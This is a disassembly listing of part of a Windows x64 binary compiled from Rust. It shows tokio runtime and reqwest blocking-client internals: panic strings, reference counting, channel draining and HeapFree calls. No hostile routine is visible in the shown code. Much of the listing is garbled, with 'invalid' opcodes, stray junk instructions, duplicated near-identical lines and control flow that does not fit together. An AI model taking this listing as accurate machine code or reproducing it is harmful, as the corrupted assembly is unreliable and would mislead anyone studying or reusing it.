mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x14013ebc8]
lea r8, [rsp + 0x88]
mov edx, 0x1b
call fcn.140108600
ud2
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.1401085a0
mov ecx, 8
mov edx, 0x10
call fcn.140107fe0
mov ecx, 8
mov edx, 8
call fcn.140107fe0
call fcn.1401118f0
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108540
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x14014c6f8]
mov edx, 0x2e
call fcn.140108350
lea rcx, [rsp + 0x398]
call fcn.1400c2b60
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_park_thread
lea r9, [0x14013ebc8]
lea r8, [rsp + 0x88]
mov edx, 0x15
call fcn.140108600
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
mov qword [rsp + 0x1d0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d8], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
lea rcx, [rsp + 0x1c0]
call fcn.140108280
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
mov qword [rsp + 0x1d0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d8], xmm0
fadd dword [rcx]
add byte [rax], al
fadd dword [rcx]
add byte [rax], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x1c0]
call fcn.140108280
lea rax, [0x14014bcf0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadlocal.rs
lea r9, [0x14014b8e0]
or byte [rax], al
or byte [rax], al
lea r8, [rsp + 0x88]
mov edx, 0x46
add al, ch
cdq
invalid
add al, 0
add al, ch
cdq
imul eax, dword [rax + rax], 0x48
lea eax, [0x14014c640]
invalid
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rax, str.not_a_CurrentThread_handle
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
and al, 0x40
or byte [rax], al
add byte [rax], al
and al, 0x40
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rax, str.expected__CurrentThread::Context_
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x98], 8
movups xmmword [rsp + 0xa0], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x88]
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108540
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.1401086b0
mov rcx, r12
call fcn.1400c1db0
lea rax, [0x14014bcf0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadlocal.rs
lea r9, [0x14013ebc8]
lea r8, [rsp + 0x88]
mov edx, 0x46
call fcn.140108600
mov ecx, 7
int 0x29
ud2
mov rdi, rax
test dil, 4
jne 0x1400c1d2b
invalid
adc cl, byte [rax - 0x77]
stc
mov rcx, rdi
or rcx, 2
mov rax, rdi
lock cmpxchg qword [rsi + 0x40], rcx
jne 0x1400c1d10
mov eax, edi
and eax, 5
cmp eax, 1
jne 0x1400c1d40
mov rax, qword [rsi + 0x30]
mov rcx, qword [rsi + 0x38]
call qword [rax + 0x10]
test dil, 4
jne 0x1400c1d68
xor ebx, ebx
lock dec qword [rsi]
jne 0x1400c1d56
mov rcx, rsi
call fcn.1400bf7d0
mov rax, rbx
mov rdx, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdi, qword [rsi + 0x18]
cmp qword [rsi + 0x10], 0
mov qword [rsi + 0x10], 0
je 0x1400c1d94
lock dec qword [rsi]
mov ebx, 1
je 0x1400c1d4e
jmp 0x1400c1d56
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108690
int3
cmp r12, r15
mov rbp, qword [rsp + 0x20]
jae 0x1400c1e65
xor edi, edi
jmp 0x1400c1e38
inc rdi
cmp r14, rdi
je 0x1400c1e65
mov rcx, qword [rbx + rdi*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400c1ef6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400c1e30
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400c1e30
test rbp, rbp
je 0x1400c1e7d
mov r8, qword [rsi + 0x48]
mov eax, dword [rsi + 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsi], 2
je 0x1400c1e8a
mov rcx, rsi
call fcn.140003320
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov bl, 4
invalid
invalid
mov bl, 4
add eax, 0x2c8d4800
ret
nop word cs:[rax + rax]
inc rdi
cmp r13, rdi
je 0x1400c1e14
mov rcx, qword [rbp + rdi*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400c1ef6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400c1ec0
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400c1ec0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
mov dword [rsp + 0x28], edx
mov rsi, rcx
movzx eax, byte [rcx + 0x1d0]
test eax, eax
je 0x1400c1f6a
cmp eax, 3
jne 0x1400c217e
lea r13, [rsi + 0x1c8]
movzx eax, byte [rsi + 0x1c8]
test eax, eax
je 0x1400c2024
cmp eax, 3
jne 0x1400c218a
mov rbx, qword [rsi + 0x1c0]
jmp 0x1400c21c2
lea rbx, [rsp + 0x48]
mov r8d, 0x198
mov rcx, rbx
mov rdx, rsi
call fcn.140106250
mov rcx, rbx
call fcn.14004fb20
test rax, rax
je 0x1400c2030
mov rcx, qword [rsi + 0x1a0]
call fcn.1400c1c60
mov rdi, rdx
cmp rax, 1
je 0x1400c1faf
test rax, rax
je 0x1400c20d6
test rdi, rdi
je 0x1400c20d6
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400c1fef
mov r14, qword [rdi + 0x60]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400c1fef
cmp qword [r14 + 0x10], 0x11
jb 0x1400c1fdd
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
shl rax, 1
test rax, rax
je 0x1400c200d
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c20d6
mov rbx, qword [rsi + 0x1b8]
jmp 0x1400c21bb
mov qword [rsi + 0x1a8], rdx
mov rcx, qword [rsi + 0x1a0]
xor edx, edx
call fcn.1400c1c60
cmp rax, 1
jne 0x1400c216e
mov rbx, rdx
lea rdi, [rsi + 0x1a8]
test rdx, rdx
je 0x1400c20c5
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x1400c2095
mov r15, qword [rbx + 0x60]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400c2095
cmp qword [r15 + 0x10], 0x11
jb 0x1400c2083
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
shl rax, 1
test rax, rax
je 0x1400c20b3
mov r8, qword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400c20d6
mov rcx, rdi
call 0x1400be970
mov r15, qword [rsi + 0x198]
cmp byte [r15 + 0x1b8], 0
jne 0x1400c20ef
mov byte [r15 + 0x1b8], 1
lock or qword [r15 + 0x1c0], 1
lea rcx, [r15 + 0x180]
call fcn.1400f3670
lea rdi, [r15 + 0x1a0]
lea rbx, [r15 + 0x80]
lea r14, [rsp + 0x48]
nop word [rax + rax]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400bf980
cmp dword [rsp + 0x48], 1
ja 0x1400c2151
lock sub qword [r15 + 0x1c0], 2
jb 0x1400c2196
cmp dword [rsp + 0x48], 1
ja 0x1400c2120
mov rcx, r14
call fcn.1400bfb70
jmp 0x1400c2120
lock dec qword [r15]
mov bl, 1
jne 0x1400c2932
mov rcx, qword [rsi + 0x198]
call fcn.1400bf8c0
jmp 0x1400c2932
mov rax, qword [rsi + 0x198]
mov qword [rsi + 0x1b0], rax
jmp 0x1400c219f
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140108880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscunbounded.rs
call fcn.140108880
mov ecx, 7
int 0x29
ud2
lea rbx, [rsi + 0x1b0]
mov qword [rsi + 0x1b8], rbx
lea r13, [rsi + 0x1c8]
mov byte [rsi + 0x1c8], 0
mov qword [rsi + 0x1c0], rbx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c2219
xor edi, edi
mov ebp, 0
test eax, eax
jne 0x1400c2266
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx edi, byte [rax + 0x11c]
movzx ebp, byte [rax + 0x11d]
mov eax, ebp
test dil, dil
je 0x1400c224d
test bpl, bpl
je 0x1400c280e
lea eax, [rbp - 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
mov r15, qword [rbx]
lea rbx, [r15 + 0x1a0]
lea r14, [r15 + 0x80]
lea rcx, [rsp + 0x48]
mov rdx, rbx
mov r8, r14
call fcn.1400bf980
mov r12, qword [rsp + 0x48]
cmp r12, 2
je 0x1400c22d1
cmp r12d, 3
jne 0x1400c22ff
mov ecx, 1
xor eax, eax
lock cmpxchg qword [r15 + 0x110], rcx
test rax, rax
je 0x1400c2337
cmp rax, 2
jne 0x1400c23c0
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
call qword [rax + 0x10]
pause
jmp 0x1400c23c0
mov rax, qword [r15 + 0x1c0]
cmp rax, 1
mov r14, qword [rsp + 0x30]
jbe 0x1400c242f
lea rcx, str.assertion_failed:_self.inner.semaphore.is_idle__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscchan.rs
lea r8, [0x1401409f0]
mov edx, 0x30
call fcn.140108350
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x7b0]
mov r8d, 0x108
call fcn.140106250
mov r14, qword [rsp + 0x158]
lock sub qword [r15 + 0x1c0], 2
jae 0x1400c242f
mov ecx, 7
int 0x29
ud2
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
call qword [rax]
mov r8, qword [r15 + 0x100]
mov rcx, qword [r15 + 0x108]
mov qword [r15 + 0x100], rax
mov qword [r15 + 0x108], rdx
xor edx, edx
mov eax, 1
lock cmpxchg qword [r15 + 0x110], rdx
jne 0x1400c237e
test r8, r8
je 0x1400c23c0
call qword [r8 + 0x18]
jmp 0x1400c23c0
mov r12, qword [r15 + 0x100]
mov rdx, qword [r15 + 0x108]
mov qword [r15 + 0x100], 0
xor eax, eax
xchg qword [r15 + 0x110], rax
test r8, r8
je 0x1400c23b3
mov qword [rsp + 0x38], rdx
call qword [r8 + 8]
mov rdx, qword [rsp + 0x38]
test r12, r12
je 0x1400c23c0
mov rcx, rdx
call qword [r12 + 8]
lea rcx, [rsp + 0x48]
mov rdx, rbx
mov r8, r14
call fcn.1400bf980
mov r12, qword [rsp + 0x48]
cmp r12, 2
je 0x1400c2419
cmp r12d, 3
je 0x1400c282b
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x7b0]
mov r8d, 0x108
call fcn.140106250
mov r14, qword [rsp + 0x158]
lock sub qword [r15 + 0x1c0], 2
jae 0x1400c242f
mov ecx, 7
int 0x29
ud2
mov rax, qword [r15 + 0x1c0]
cmp rax, 1
mov r14, qword [rsp + 0x30]
ja 0x1400c2a4d
lea rbx, [rsp + 0x2f0]
lea rdx, [rsp + 0x7b0]
mov r8d, 0x108
mov rcx, rbx
call fcn.140106250
mov byte [r13], 1
lea rcx, [rsp + 0x598]
mov r8d, 0x108
mov rdx, rbx
call fcn.140106250
cmp r12d, 2
je 0x1400c2883
mov qword [rsp + 0x6a0], r12
lea rcx, [rsp + 0x6a8]
lea rdx, [rsp + 0x598]
mov r8d, 0x108
call fcn.140106250
mov rdx, qword [rsi + 0x1a8]
lea rcx, [rsp + 0x2f0]
lea r8, [rsp + 0x6a0]
call fcn.140058910
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x428], r14
mov byte [rsp + 0x588], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x590], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c2535
test eax, eax
jne 0x1400c2a29
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
lea rcx, [rsp + 0x7b0]
lea rdx, [rsp + 0x2f0]
mov r8d, 0x2a8
call fcn.140106250
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400c29e2
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rbx, qword [rcx + 0xd8]
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2f0]
mov r8d, 0x2a8
call fcn.140106250
cmp rbx, 2
je 0x1400c29ee
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x2e8]
mov rdi, qword [rax]
test rbx, rbx
je 0x1400c26d8
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x1400c29d1
movzx eax, byte [0x140182310]
mov edx, 0x380
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c29d3
mov r12, rax
and r12, 0xffffffffffffff80
lea rbx, [r12 + 0x80]
mov qword [r12 + 0x78], rax
lea r15, [r14 + 0x68]
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, str._2_f_
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], r14
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x7b0]
mov r8d, 0x2a0
call fcn.140106250
xorps xmm0, xmm0
movaps xmmword [r12 + 0x350], xmm0
mov qword [r12 + 0x360], 0
mov rcx, r15
mov rdx, rbx
mov r8, rbx
call fcn.1400654c0
test rax, rax
je 0x1400c27d0
add r14, 0x10
mov rcx, r14
mov rdx, rax
xor r8d, r8d
call fcn.1400ec5d0
jmp 0x1400c27d0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x1400c29d1
movzx eax, byte [0x140182310]
mov edx, 0x380
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400c29d3
mov r15, rax
and r15, 0xffffffffffffff80
lea rbx, [r15 + 0x80]
mov qword [r15 + 0x78], rax
mov qword [r15 + 0x80], 0xcc
mov qword [r15 + 0x88], 0
lea rax, case.0x1400b7609.30
mov qword [r15 + 0x90], rax
mov qword [r15 + 0x98], 0
mov qword [r15 + 0xa0], r14
add r14, 0x58
mov qword [r15 + 0xa8], rdi
lea rcx, [r15 + 0xb0]
lea rdx, [rsp + 0x7b0]
mov r8d, 0x2a0
call fcn.140106250
xorps xmm0, xmm0
movaps xmmword [r15 + 0x350], xmm0
mov qword [r15 + 0x360], 0
mov rcx, r14
mov rdx, rbx
mov r8, rbx
call fcn.1400654c0
test rax, rax
je 0x1400c27d0
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eabe0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rbx], rcx
je 0x1400c219f
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x20]
jmp 0x1400c219f
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
call qword [rax + 0x10]
mov byte [r13], 3
mov al, 1
mov bl, 3
jmp 0x1400c2934
cmp byte [r15 + 0x1b8], 0
je 0x1400c294e
mov rax, qword [r15 + 0x1c0]
cmp rax, 1
ja 0x1400c294e
lea rdi, [rsp + 0x2f0]
lea rdx, [rsp + 0x7b0]
mov r8d, 0x108
mov rcx, rdi
call fcn.140106250
mov byte [r13], 1
lea rcx, [rsp + 0x598]
mov r8d, 0x108
mov rdx, rdi
call fcn.140106250
mov r15, qword [rsi + 0x1b0]
cmp byte [r15 + 0x1b8], 0
jne 0x1400c289c
mov byte [r15 + 0x1b8], 1
lock or qword [r15 + 0x1c0], 1
lea rcx, [r15 + 0x180]
call fcn.1400f3670
lea rdi, [r15 + 0x1a0]
lea rbx, [r15 + 0x80]
lea r14, [rsp + 0x48]
nop word cs:[rax + rax]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400bf980
cmp dword [rsp + 0x48], 1
ja 0x1400c2905
lock sub qword [r15 + 0x1c0], 2
jb 0x1400c2a65
cmp dword [rsp + 0x48], 1
ja 0x1400c28d0
mov rcx, r14
call fcn.1400bfb70
jmp 0x1400c28d0
lock dec qword [r15]
jne 0x1400c2917
mov rcx, qword [rsi + 0x1b0]
call fcn.1400bf8c0
mov rax, qword [rsi + 0x1a8]
lock dec qword [rax]
mov bl, 1
jne 0x1400c2932
lea rcx, [rsi + 0x1a8]
call 0x1400be970
xor eax, eax
mov byte [rsi + 0x1d0], bl
add rsp, 0xa58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test dil, dil
je 0x1400c281d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c29ab
test eax, eax
jne 0x1400c281d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], bpl
jmp 0x1400c281d
ud2
mov ecx, 0x80
mov edx, 0x300
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401085a0
lea rcx, [rsp + 0x48]
call fcn.1400c2f50
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x48], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rsp + 0x48]
call fcn.14010da80
lea rcx, [rsp + 0x2f0]
call fcn.1400c2f50
mov al, 1
mov byte [rsp + 0x48], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rsp + 0x48]
call fcn.14010da80
lea rcx, str.assertion_failed:_self.inner.semaphore.is_idle__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscchan.rs
lea r8, [0x1401409d8]
mov edx, 0x30
call fcn.140108350
mov ecx, 7
int 0x29
ud2
adc al, dh
dec qword [rdi]
jne 0x1400c2c6f
mov rcx, qword [rsi + 0x1a0]
call fcn.1400bf7d0
mov r15, qword [rsi + 0x198]
mov edi, dword [rsi + 0x198]
cmp byte [r15 + 0x1b8], 0
jne 0x1400c2c88
mov byte [r15 + 0x1b8], 1
add dword [rax], eax
add byte [rcx], al
lock or qword [r15 + 0x1c0], 1
lea rcx, [r15 + 0x180]
call fcn.1400f3670
lea rdi, [r15 + 0x1a0]
lea rbx, [r15 + 0x80]
lea r14, [rsp + 0x28]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400bf980
cmp dword [rsp + 0x28], 1
ja 0x1400c2d1d
lock sub qword [r15 + 0x1c0], 2
jb 0x1400c2d48
cmp dword [rsp + 0x28], 1
ja 0x1400c2cb0
mov rcx, r14
call fcn.1400bfb70
jmp 0x1400c2cb0
pcmpeqw mm1, qword [rax + rcx*2]
mov ecx, dword [rsi + 0x1b0]
call fcn.1400bf8c0
mov rax, qword [rsi + 0x1a8]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x1400c2d2f
add rsi, 0x1a8
mov rcx, rsi
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp 0x1400be970
lock dec qword [r15]
jne 0x1400c2d2f
mov rcx, qword [rsi + 0x198]
call fcn.1400bf8c0
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
int 0x29
ud2
mov ecx, 7
int 0x29
ud2
hlt
pop rsi
jo case.0x1400dc119.416
mov ecx, edi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c2dda
cmp qword [rbx + 0x10], 0x11
jb 0x1400c2dc8
invalid
add al, 0x48
mov edi, dword [rdi - 8]
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmc
add al, 0
cmc
add al, 0
mov rdi, qword [rsi + 0x98]
mov rbx, qword [rsi + 0xa0]
add byte [rax], al
movabs al, byte [0x2274db8548000000]
add byte [rax], al
test rbx, rbx
je 0x1400c2e0f
xor r14d, r14d
mov r15, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
add al, 0
add al, 0
add byte [rsi + 0xf], ah
invalid
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdi + r14*8]
inc r14
call r15
call rdi
call rdi
cmp rbx, r14
jne case.0x140050c3f.416
int1
int1
cmp qword [rsi + 0x90], 0
je 0x1400c2e2b
add byte [rax], al
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x140182260]
hlt
or eax, dword [rax]
mov rcx, qword [0x140182260]
hlt
or eax, dword [rax]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmc
add al, 0
cmc
add al, 0
mov rdi, qword [rsi + 0x158]
test rdi, rdi
je 0x1400c2e9e
mov rbx, qword [rdi + 0x58]
test rbx, rbx
test ebx, ebx
test ebx, ebx
je case.0x14005cd83.387
mov r14, qword [rdi + 0x60]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je case.0x14005cd83.387
cmp qword [r14 + 0x10], 0x11
jb 0x1400c2e5c
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
mov eax, dword [rdi]
shl rax, 1
test rax, rax
je 0x1400c2e8c
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or byte [rax - 0x75], cl
mov ecx, dword [0x140182260]
or eax, 0xbf3dc
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
mov eax, edi
ror byte [rcx - 0x77], cl
mov eax, edi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x120]
call fcn.140002710
clc
dec dword [rax - 0x75]
xchg byte [rax + 1], ah
add byte [rax], al
mov fs, word [rax]
add dword [rax], eax
add al, ch
clc
clc
clc
dec dword [rax - 0x75]
xchg byte [rax + 1], ah
add byte [rax], al
test rax, rax
je 0x1400c2eda
lock dec qword [rax]
jne 0x1400c2eda
mov rcx, qword [rsi + 0x160]
mov rdx, qword [rsi + 0x168]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140005050
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
int3
int3
mov esi, ecx
mov rdi, qword [rcx]
mov rax, qword [rdi + 0x10]
lock dec qword [rax]
jne case.0x1400656b8.379
lea rcx, [rdi + 0x10]
lea ecx, [rdi + 0x10]
call fcn.1400687d0
xor ecx, ecx
xchg qword [rdi + 0x20], rcx
test rcx, rcx
je case.0x1400656b8.377
call fcn.1400689c0
dec dword [rbx + rcx*4 + 6]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400c2f45
lock dec qword [r8 + 8]
jne 0x1400c2f45
invalid
